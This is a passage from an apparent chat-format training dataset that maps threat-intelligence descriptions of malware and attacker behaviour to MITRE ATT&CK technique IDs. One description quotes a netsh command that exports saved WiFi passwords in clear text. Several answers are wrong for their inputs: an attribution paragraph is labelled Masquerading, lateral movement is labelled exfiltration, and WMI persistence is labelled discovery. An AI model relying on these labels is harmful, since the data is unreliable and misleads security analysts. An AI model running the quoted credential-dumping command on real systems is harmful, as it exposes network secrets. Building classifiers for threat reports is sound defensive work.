                "content": "Capable of stealing documents sent to the printer queue. Steals written CD images. Capable of stealing files previously seen on removable drives once they are available again. Steals Internet Explorer, Netscape Navigator, FireFox and RealNetworks cookies. If deleted from Frontend file or related registry values, it will reappear after reboot with a new name and startup type"
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "attempts to hide its payloads using legitimate filenames."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "kaudited — A file installed as /usr/bin/kaudited. This binary will drop and install several loadable kernel modules (LKMs) on the infected machine. To ensure that the infected machine won’t crash due to the kernel-mode rootkits, it uses different modules for specific kernel versions. The kaudited binary also drops a watchdog component that will monitor the cryptocurrency miner file and process"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One of the first steps that several Mosquito installer packages performed after writing and running this local_update js file was to export all local host’s WiFi profiles (settings and passwords) to %APPDATA%\\<profile>.xml with a command line call: cmd.exe /c netsh wlan export profile key=clear folder=\"%APPDATA%\" They then gather more network information with a call to ipconfig and arp -a"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has sent spearphishing email links attempting to get a user to click."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 has used PowerShell to execute commands and other operational tasks."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As mentioned in the Hermes to Ryuk section, Ryuk uses a combination of symmetric (AES) and asymmetric (RSA) encryption to encrypt files. Without the private key provided by WIZARD SPIDER, the files cannot be decrypted and are unrecoverable. A thread is created for the encryption of each file and each file is encrypted with its own AES key. After the file has been encrypted, a file extension of .RYK is appended to the file. All directories will have a ransom note of (RyukReadMe.txt) written to the directory"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware also monitors all fixed and removable drives mapped on the local system. Whenever a new drive is inserted, it creates a list of all the files on the drive and stores it encrypted in a file"
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group malware IndiaIndia checks Registry keys within HKCU and HKLM to determine if certain applications are present, including SecureCRT, Terminal Services, RealVNC, TightVNC, UltraVNC, Radmin, mRemote, TeamViewer, FileZilla, pcAnyware, and Remote Desktop. Another Lazarus Group malware sample checks for the presence of the following Registry key:\"HKEY_CURRENT_USER\\Software\\Bitcoin\\Bitcoin-Qt\"."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The developer implemented a total of seven techniques to identify if the compromised system is a virtual machine. Additionally, the malware checks the SerialNumber and the version of the BIOS. The third technique uses the Win32_Computer entry in WMI. It checks if the manufacturer contains \"VIRTUAL\", \"VMWARE\" or \"VirtualBox\". The fourth technique checks the Processor ID of the system. The WMI request simply replies \"not supported\". This behaviour can be used to detect if the targeted system is a real machine. The last technique uses the MAC Address of the infected system. If the MAC Address starts by a well-known hexadecimal number, the system is identified as a virtual machine. The variant version of GX is used in the URI"
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We attribute this campaign with high confidence to an actor named WIRTE, which is a lesser-known threat actor first publicly referenced by our colleagues at Lab52 in 2019. We further suspect, with low confidence, that the WIRTE group has relations with the Gaza Cybergang threat actor"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AuTo Stealer has the ability to collect the username from an infected host."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Looking at earlier attacks between 2013 and 2016, we believe Comnie was also used in targeted attacks against the following individuals or organizations:  Taiwan government IT service vendor in Asia Journalist of a Tibetan radio station   Figure 6 Email sent to Journalist of Tibetan radio station   Malicious Macros The malicious macro documents used to deliver Comnie initially hide the content inside and requests that the user enables macros prior to viewing the document"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has used Forfiles to locate PDF, Excel, and Word documents during collection. The group also searched a compromised DCCC computer for specific terms."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POLONIUM has exfiltrated stolen data to POLONIUM-owned OneDrive and Dropbox accounts."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has sent malicious links to victims via email."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LoJax has loaded an embedded NTFS DXE driver to be able to access and write to NTFS partitions."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER downloads encoded payloads and decodes them on the victim."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This round of FIN7 phishing lures implements hidden shortcut files (LNK files) to initiate the infection and VBScript functionality launched by mshta.exe to infect the victim"
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Vasport creates a backdoor by making a connection using a HTTP POST."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hildegard has disguised itself as a known Linux process."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LoJax has modified the Registry key \"‘HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\BootExecute’\" from \"‘autocheck autochk *’\" to \"‘autocheck autoche *’\"."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NotPetya can use two exploits in SMBv1, EternalBlue and EternalRomance, to spread itself to other remote systems on the network."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Creates new users’ accounts"
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We believe the actor used a cryptor on the payload, as it obtains a filename and script from within its resources and decodes these resources by multiplying each byte by negative one"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attor's installer plugin can schedule rundll32.exe to load the dispatcher."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SombRAT can use a custom DGA to generate a subdomain for C2."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ThreatNeedle can download additional tools to enable lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shamoon has an operational mode for encrypting data instead of overwriting it."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Frankenstein, the threat actors collected information via Empire, which sent the data back to the adversary's C2."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Saint Bot can deobfuscate strings and files for execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has used \"net localgroup\" and \"net localgroup Administrators\" to enumerate group information, including members of the local administrators group."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has used a tool to query Active Directory using LDAP, discovering information about usernames listed in AD."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clicking on the shortcut ultimately leads to Backdoor.Pirpi being downloaded and executed on the affected computer"
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To execute the main downloaded payload, the loader tries to masquerade as a legitimate Windows service, claiming in its fake description, that it is used to support packed applications"
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can maintain persistence by creating an auto-run Registry key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used the built-in lateral movement possibilities in Cobalt Strike. Cobalt Strike has various methods for deploying its beacons at newly compromised systems. We have seen the adversary using SMB, named pipes, PsExec, and WinRM. They continue lateral movement and discovery in an attempt to identify the data of interest. This could be a webserver to carve data from memory, or a fileserver to copy IP, as we have both observed"
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Daserf can use steganography to hide malicious code downloaded to the victim."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation via Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole has installed legitimate but vulnerable Total Video Player software and wdigest.dll library drivers on compromised hosts to exploit stack overflow and input validation vulnerabilities for code execution."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sample of the data that is encrypted and sent to the CnC server for version ‘p=2’ is seen in the memory dump shown in Figure 6. At offset 4-7 it contains a time-based counter. It uses the keyword \"osamu\" in this instance to identify this particular campaign. The campaign keywords are not sent out in version ‘p=1’ but can still be found hardcoded in the DLL payload. The hostname and OS information are also included in the beacon. It awaits further commands from the CnC server in response to the data sent out."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The  group has been known to compress data before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LookBack has used VBA macros in Microsoft Word attachments to drop additional files to the host."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has downloaded additional files, including by using a first-stage downloader to contact the C2 server to obtain the second-stage implant."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Spalax, the threat actors used OneDrive and MediaFire to host payloads."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fox Kitten has installed TightVNC server and client on compromised servers and endpoints for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services:VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WellMail has been observed using TCP port 25, without using SMTP, to leverage an open port for secure command and control communications."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group has registered domains to stage payloads."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A module in  collects information on available printers and disk drives."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MarkiRAT can use BITS Utility to connect with the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Recently, after looking at the difference between 0vercl0ck’s proof of concept and the real deal, a friend asked me “Why does PowerLoader go to all the trouble of using ROP chains instead of just executing the shellcode like 0vercl0ck does. PowerLoader gets the malicious code into the process by opening an existing, shared section already mapped into explorer, removing the need to allocate heap space or overwrite process memory. By opening “Shell_TrayWnd” and calling SetWindowLong, PowerLoader is able to set a variable used by the window procedure to point to a specific address in its shellcode. The read part won’t trigger DEP (Data Execution Prevention), if the section is not executable (in later versions of windows it is execute-protected), however if EAX points to an address inside the section, DEP will be triggered. Well how does one get from KiUserApcDispatcher to code execution, without executing the non-executable shellcode, I hear you ask. Next it pops the return address into the EAX and then calls it, this results in execution being transferred back to the Window Procedure. The sequences are instruction within the executable regions of explorer’s memory, their purpose is to perform certain operations as PowerLoader can’t execute any of its own code yet, due to the section being execute-protected. 00100E28 points to some code in explorer that executes the instruction “STD” followed by “RET”, As a result the instruction underlined in red will result in the direction flag being set and execution being returned to the Window Procedure. Well these bytes were found, in this case inside some random shell32 function (it doesn’t matter). Now the pointer doesn’t point to the start of the function, it points somewhere in the middle, as a result, only the bytes in the red box are executed. Remember: because all addresses points to executable code within explorer address space, and they are called using a pointer, no code in the shellcode is actually executed, thus resulting in no nasty DEP errors"
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dridex contains a module for VNC."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Execute noninteractive commands on multiple hosts at once"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Although it has only recently been launched, IcedID already uses redirection attacks. The redirection scheme IcedID uses is not a simple handover to another website with a different URL. Rather, it is designed to appear as seamless as possible to the victim. These tactics include displaying the legitimate bank’s URL in the address bar and the bank’s correct SSL certificate, which is made possible by keeping a live connection with the actual bank’s site"
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After successful lateral movement, the attackers tried to establish persistency on selected servers –targeting all domain controllers, but also other servers. To achieve persistency, they used WMI Event Subscription with a few different WMI objects"
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OnionDuke can use a custom decryption algorithm to decrypt strings."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT37 has signed its malware with an invalid digital certificates listed as “Tencent Technology (Shenzhen) Company Limited.”"
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has deleted the exfiltrated data on disk after transmission. Kimsuky has also used an instrumentor script to terminate browser processes running on an infected system and then delete the cookie files on disk."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has used rgsvr32 to execute custom malware."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "lists running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors have been observed using tools like dog-tunnel and dns2tcp.exe to conceal C2 traffic with existing network activity."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WinMM collects the system name, OS version including service pack, and system install date and sends the information to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dtrack has used \"cmd.exe\" to add a persistent service."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SpeakUp uses cron tasks to ensure persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bad Rabbit can enumerate all running processes to compare hashes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gain access to the victim’s network by logging into a public-facing system via Secure Shell (SSH) using a local account &lt;user sftp&gt; acquired during previous credential theft activities. Use port forwarding capabilities built into SSH on the public-facing system to establish a Remote Desktop Protocol (RDP) session to an internal server (Server 1) using a domain service account. From Server 1, establish another RDP session to a different internal server (Server 2) using a domain administrator’s account"
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol', 'T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aria-body has used ZIP to compress data gathered on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These are in-line with the targeting of the victims witnessed by the attackers using Conmie"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Microsoft by default disables the dynamic execution of the macro, and if an attacker needs to execute one dynamically—which is the case here—the threat actor needs to bypass the VB object model (VBOM) by modifying its registry value"
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
